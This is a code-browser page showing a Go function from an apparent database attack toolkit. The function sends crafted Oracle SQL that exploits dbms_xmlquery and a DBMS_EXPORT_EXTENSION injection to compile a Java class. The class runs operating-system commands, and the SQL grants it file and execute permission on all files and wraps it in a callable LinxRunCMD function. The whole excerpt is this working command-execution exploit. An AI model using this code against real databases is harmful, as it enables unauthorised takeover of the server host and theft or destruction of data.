MCPcopy Create free account
hub / github.com/Hel10-Web/Databasetools / OracleXMLQuery

Function OracleXMLQuery

pac/oracl_xmlquery.go:11–32  ·  view source on GitHub ↗
(conn *sql.DB)

Source from the content-addressed store, hash-verified

9)
10
11func OracleXMLQuery(conn *sql.DB) {
12
13 _, err := OracleCMD(fmt.Sprintf("select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named \"LinxUtil\" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str +=stemp+\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual"), conn)
14 if err != nil {
15 Err(err)
16 }
17
18 _, err = OracleCMD(fmt.Sprintf("select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual"), conn)
19 if err != nil {
20 Err(err)
21 }
22
23 _, err = OracleCMD(fmt.Sprintf("select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual"), conn)
24 if err != nil {
25 Err(err)
26 }
27
28 _, err = OracleCMD(fmt.Sprintf("select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'"), conn)
29 if err != nil {
30 Err(err)
31 }
32}
33
34func OracleXMLQueryConsole(conn *sql.DB) {
35 Info("执行系统命令")

Callers 2

OracleXMLQueryConsoleFunction · 0.85
OracleXMLQueryCMDFunction · 0.85

Calls 2

OracleCMDFunction · 0.85
ErrFunction · 0.85

Tested by

no test coverage detected